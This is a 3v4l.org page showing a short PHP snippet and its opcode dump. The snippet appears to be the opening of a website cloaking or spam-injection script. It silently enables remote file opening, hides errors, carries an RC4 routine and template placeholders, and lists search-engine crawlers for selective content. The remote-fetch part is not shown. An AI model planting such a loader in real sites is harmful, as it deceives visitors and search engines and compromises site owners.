3v4l.org

run code in 300+ PHP versions simultaneously
<?php if (function_exists('ini_set')){ @ini_set('allow_url_fopen', 1); @ini_set('display_errors', 0); } define('DISALLOW_FILE_EDIT', true); define('determinator', 1); function rc4($key, $string) { $j=$i-$i=-1; $s=array(); $result=implode($s); for ($a=256;++$i<$a;$s[$i]=$i); $x=$i=$j-1; for ($key_len=strlen($key); ++$i<$a;$s[$j]=$x){ $j=($j + $s[$i] + ord($key[$i % $key_len])) % $a; $x=$s[$i]; $s[$i]=$s[$j]; //$s[$j]=$x; } for ($y=$j=$i=0; $y<strlen($string);){ $i=++$i%$a; $j=($j + $s[$i]) % $a; $x = $s[$i]; $s[$i] = $s[$j]; $s[$j] = $x; $result.=$string[$y++] ^ chr($s[($s[$i]+$s[$j]) % $a]); } return $result; } function w3net_feof($fp, &$start) { $start = microtime(true); return feof($fp); } function php_server_lower($item){ return @strtolower(@$_SERVER[$item]); } $source='{{source}}'; $ver='{{version}}'; $salt='{{salt}}'; $host='http'; $show_for_agents='google+yahoo+baidu+bingbot+msnbot+yandex'; $empty_string=implode(array()); if (isset($_SERVER['HTTPS'])){ if (@$_SERVER['HTTPS'] != 'off') $host.='s'; } $host.='://'.php_server_lower('HTTP_HOST');
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 4, Position 2 = 16
Branch analysis from position: 4
2 jumps found. (Code = 43) Position 1 = 36, Position 2 = 43
Branch analysis from position: 36
2 jumps found. (Code = 43) Position 1 = 42, Position 2 = 43
Branch analysis from position: 42
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 43
Branch analysis from position: 43
Branch analysis from position: 16
filename:       /in/oH98d
function name:  (null)
number of ops:  49
compiled vars:  !0 = $source, !1 = $ver, !2 = $salt, !3 = $host, !4 = $show_for_agents, !5 = $empty_string
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   INIT_FCALL                                               'function_exists'
          1        SEND_VAL                                                 'ini_set'
          2        DO_ICALL                                         $6      
          3      > JMPZ                                                     $6, ->16
    2     4    >   BEGIN_SILENCE                                    ~7      
          5        INIT_FCALL                                               'ini_set'
          6        SEND_VAL                                                 'allow_url_fopen'
          7        SEND_VAL                                                 1
          8        DO_ICALL                                                 
          9        END_SILENCE                                              ~7
    3    10        BEGIN_SILENCE                                    ~9      
         11        INIT_FCALL                                               'ini_set'
         12        SEND_VAL                                                 'display_errors'
         13        SEND_VAL                                                 0
         14        DO_ICALL                                                 
         15        END_SILENCE                                              ~9
    5    16    >   INIT_FCALL                                               'define'
         17        SEND_VAL                                                 'DISALLOW_FILE_EDIT'
         18        SEND_VAL                                                 <true>
         19        DO_ICALL                                                 
    6    20        INIT_FCALL                                               'define'
         21        SEND_VAL                                                 'determinator'
         22        SEND_VAL                                                 1
         23        DO_ICALL                                                 
   41    24        ASSIGN                                                   !0, '%7B%7Bsource%7D%7D'
   42    25        ASSIGN                                                   !1, '%7B%7Bversion%7D%7D'
   43    26        ASSIGN                                                   !2, '%7B%7Bsalt%7D%7D'
   44    27        ASSIGN                                                   !3, 'http'
   45    28        ASSIGN                                                   !4, 'google%2Byahoo%2Bbaidu%2Bbingbot%2Bmsnbot%2Byandex'
   46    29        INIT_FCALL                                               'implode'
         30        SEND_VAL                                                 <array>
         31        DO_ICALL                                         $18     
         32        ASSIGN                                                   !5, $18
   47    33        FETCH_IS                                         ~20     '_SERVER'
         34        ISSET_ISEMPTY_DIM_OBJ                         0          ~20, 'HTTPS'
         35      > JMPZ                                                     ~21, ->43
   48    36    >   BEGIN_SILENCE                                    ~22     
         37        FETCH_R                      global              ~23     '_SERVER'
         38        FETCH_DIM_R                                      ~24     ~23, 'HTTPS'
         39        END_SILENCE                                              ~22
         40        IS_NOT_EQUAL                                             ~24, 'off'
         41      > JMPZ                                                     ~25, ->43
         42    >   ASSIGN_OP                                     8          !3, 's'
   51    43    >   INIT_FCALL                                               'php_server_lower'
         44        SEND_VAL                                                 'HTTP_HOST'
         45        DO_FCALL                                      0  $27     
         46        CONCAT                                           ~28     '%3A%2F%2F', $27
         47        ASSIGN_OP                                     8          !3, ~28
         48      > RETURN                                                   1

Function rc4:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 14
Branch analysis from position: 14
2 jumps found. (Code = 44) Position 1 = 17, Position 2 = 12
Branch analysis from position: 17
1 jumps found. (Code = 42) Position 1 = 40
Branch analysis from position: 40
2 jumps found. (Code = 44) Position 1 = 43, Position 2 = 23
Branch analysis from position: 43
1 jumps found. (Code = 42) Position 1 = 73
Branch analysis from position: 73
2 jumps found. (Code = 44) Position 1 = 76, Position 2 = 47
Branch analysis from position: 76
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 47
2 jumps found. (Code = 44) Position 1 = 76, Position 2 = 47
Branch analysis from position: 76
Branch analysis from position: 47
Branch analysis from position: 23
2 jumps found. (Code = 44) Position 1 = 43, Position 2 = 23
Branch analysis from position: 43
Branch analysis from position: 23
Branch analysis from position: 12
2 jumps found. (Code = 44) Position 1 = 17, Position 2 = 12
Branch analysis from position: 17
Branch analysis from position: 12
filename:       /in/oH98d
function name:  rc4
number of ops:  78
compiled vars:  !0 = $key, !1 = $string, !2 = $j, !3 = $i, !4 = $s, !5 = $result, !6 = $a, !7 = $x, !8 = $key_len, !9 = $y
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    8     0  E >   RECV                                             !0      
          1        RECV                                             !1      
    9     2        ASSIGN                                           ~10     !3, -1
          3        SUB                                              ~11     !3, ~10
          4        ASSIGN                                                   !2, ~11
   10     5        ASSIGN                                                   !4, <array>
   11     6        INIT_FCALL                                               'implode'
          7        SEND_VAR                                                 !4
          8        DO_ICALL                                         $14     
          9        ASSIGN                                                   !5, $14
   12    10        ASSIGN                                                   !6, 256
         11      > JMP                                                      ->14
         12    >   ASSIGN_DIM                                               !4, !3
         13        OP_DATA                                                  !3
         14    >   PRE_INC                                          ~18     !3
         15        IS_SMALLER                                               ~18, !6
         16      > JMPNZ                                                    ~19, ->12
   13    17    >   SUB                                              ~20     !2, 1
         18        ASSIGN                                           ~21     !3, ~20
         19        ASSIGN                                                   !7, ~21
   14    20        STRLEN                                           ~23     !0
         21        ASSIGN                                                   !8, ~23
         22      > JMP                                                      ->40
   15    23    >   FETCH_DIM_R                                      ~25     !4, !3
         24        ADD                                              ~26     !2, ~25
         25        INIT_FCALL                                               'ord'
         26        MOD                                              ~27     !3, !8
         27        FETCH_DIM_R                                      ~28     !0, ~27
         28        SEND_VAL                                                 ~28
         29        DO_ICALL                                         $29     
         30        ADD                                              ~30     ~26, $29
         31        MOD                                              ~31     ~30, !6
         32        ASSIGN                                                   !2, ~31
   16    33        FETCH_DIM_R                                      ~33     !4, !3
         34        ASSIGN                                                   !7, ~33
   17    35        FETCH_DIM_R                                      ~36     !4, !2
         36        ASSIGN_DIM                                               !4, !3
         37        OP_DATA                                                  ~36
   14    38        ASSIGN_DIM                                               !4, !2
         39        OP_DATA                                                  !7
         40    >   PRE_INC                                          ~38     !3
         41        IS_SMALLER                                               ~38, !6
         42      > JMPNZ                                                    ~39, ->23
   20    43    >   ASSIGN                                           ~40     !3, 0
         44        ASSIGN                                           ~41     !2, ~40
         45        ASSIGN                                                   !9, ~41
         46      > JMP                                                      ->73
   21    47    >   PRE_INC                                          ~43     !3
         48        MOD                                              ~44     ~43, !6
         49        ASSIGN                                                   !3, ~44
   22    50        FETCH_DIM_R                                      ~46     !4, !3
         51        ADD                                              ~47     !2, ~46
         52        MOD                                              ~48     ~47, !6
         53        ASSIGN                                                   !2, ~48
   23    54        FETCH_DIM_R                                      ~50     !4, !3
         55        ASSIGN                                                   !7, ~50
   24    56        FETCH_DIM_R                                      ~53     !4, !2
         57        ASSIGN_DIM                                               !4, !3
         58        OP_DATA                                                  ~53
   25    59        ASSIGN_DIM                                               !4, !2
         60        OP_DATA                                                  !7
   26    61        POST_INC                                         ~55     !9
         62        FETCH_DIM_R                                      ~56     !1, ~55
         63        INIT_FCALL                                               'chr'
         64        FETCH_DIM_R                                      ~57     !4, !3
         65        FETCH_DIM_R                                      ~58     !4, !2
         66        ADD                                              ~59     ~57, ~58
         67        MOD                                              ~60     ~59, !6
         68        FETCH_DIM_R                                      ~61     !4, ~60
         69        SEND_VAL                                                 ~61
         70        DO_ICALL                                         $62     
         71        BW_XOR                                           ~63     $62, ~56
         72        ASSIGN_OP                                     8          !5, ~63
   20    73    >   STRLEN                                           ~65     !1
         74        IS_SMALLER                                               !9, ~65
         75      > JMPNZ                                                    ~66, ->47
   28    76    > > RETURN                                                   !5
   29    77*     > RETURN                                                   null

End of function rc4

Function w3net_feof:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/oH98d
function name:  w3net_feof
number of ops:  11
compiled vars:  !0 = $fp, !1 = $start
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   32     0  E >   RECV                                             !0      
          1        RECV                                             !1      
   33     2        INIT_FCALL                                               'microtime'
          3        SEND_VAL                                                 <true>
          4        DO_ICALL                                         $2      
          5        ASSIGN                                                   !1, $2
   34     6        INIT_FCALL                                               'feof'
          7        SEND_VAR                                                 !0
          8        DO_ICALL                                         $4      
          9      > RETURN                                                   $4
   35    10*     > RETURN                                                   null

End of function w3net_feof

Function php_server_lower:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/oH98d
function name:  php_server_lower
number of ops:  12
compiled vars:  !0 = $item
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   37     0  E >   RECV                                             !0      
   38     1        BEGIN_SILENCE                                    ~1      
          2        INIT_FCALL                                               'strtolower'
          3        BEGIN_SILENCE                                    ~2      
          4        FETCH_R                      global              ~3      '_SERVER'
          5        FETCH_DIM_R                                      ~4      ~3, !0
          6        END_SILENCE                                              ~2
          7        SEND_VAL                                                 ~4
          8        DO_ICALL                                         $5      
          9        END_SILENCE                                              ~1
         10      > RETURN                                                   $5
   39    11*     > RETURN                                                   null

End of function php_server_lower

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
156.44 ms | 1402 KiB | 32 Q